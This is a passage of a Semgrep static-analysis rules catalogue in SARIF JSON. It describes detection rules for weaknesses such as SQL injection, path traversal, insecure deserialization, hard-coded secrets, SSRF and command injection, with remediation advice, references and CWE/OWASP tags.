Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()"},"help":{"markdown":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution)\n - [http://bluebirdjs.com/docs/getting-started.html](http://bluebirdjs.com/docs/getting-started.html)\n","text":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()"},"helpUri":"https://semgrep.dev/r/javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","id":"javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","name":"javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep)\n - [https://github.com/EsotericSoftware/kryo](https://github.com/EsotericSoftware/kryo)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"helpUri":"https://semgrep.dev/r/java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","id":"java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","name":"java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://www.datanucleus.org/javadocs/api.jdo/5.0/org/datanucleus/api/jdo/JDOPersistenceManagerFactory.html](https://www.datanucleus.org/javadocs/api.jdo/5.0/org/datanucleus/api/jdo/JDOPersistenceManagerFactory.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","id":"java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","name":"java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. "},"help":{"markdown":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. "},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","id":"python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","name":"python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"help":{"markdown":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.email.xss-html-email-body.xss-html-email-body)\n - [https://www.damonkohler.com/2008/12/email-injection.html](https://www.damonkohler.com/2008/12/email-injection.html)\n","text":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.email.xss-html-email-body.xss-html-email-body","id":"python.django.security.injection.email.xss-html-email-body.xss-html-email-body","name":"python.django.security.injection.email.xss-html-email-body.xss-html-email-body","properties":{"precision":"very-high","tags":["CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.email.xss-html-email-body.xss-html-email-body"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/javascript.express.security.injection.tainted-sql-string.tainted-sql-string","id":"javascript.express.security.injection.tainted-sql-string.tainted-sql-string","name":"javascript.express.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","id":"ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","name":"ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`."},"help":{"markdown":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled)\n - [https://symfony.com/doc/current/security/csrf.html](https://symfony.com/doc/current/security/csrf.html)\n","text":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","id":"php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","name":"php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","id":"terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","name":"terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.file.fs-express.fs-express)\n - [https://nodejs.org/api/fs.html#promises-api](https://nodejs.org/api/fs.html#promises-api)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.file.fs-express.fs-express","id":"javascript.express.file.fs-express.fs-express","name":"javascript.express.file.fs-express.fs-express","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.file.fs-express.fs-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request)\n - [https://www.npmjs.com/package/telnet](https://www.npmjs.com/package/telnet)\n - [https://www.npmjs.com/package/telnet-client](https://www.npmjs.com/package/telnet-client)\n","text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-sls.file-taint-sls)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-sls.file-taint-sls","id":"java.micronaut.path-traversal.file-taint-sls.file-taint-sls","name":"java.micronaut.path-traversal.file-taint-sls.file-taint-sls","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-taint-sls.file-taint-sls"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities."},"help":{"markdown":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled)\n - [https://docs.angularjs.org/api/ng/service/$sce](https://docs.angularjs.org/api/ng/service/$sce)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","id":"javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","name":"javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","id":"cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","name":"cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection)\n - [https://www.php.net/manual/en/function.mb-send-mail.php](https://www.php.net/manual/en/function.mb-send-mail.php)\n - [https://www.php.net/manual/en/function.mail.php](https://www.php.net/manual/en/function.mail.php)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","id":"php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","name":"php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","id":"csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","name":"csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to 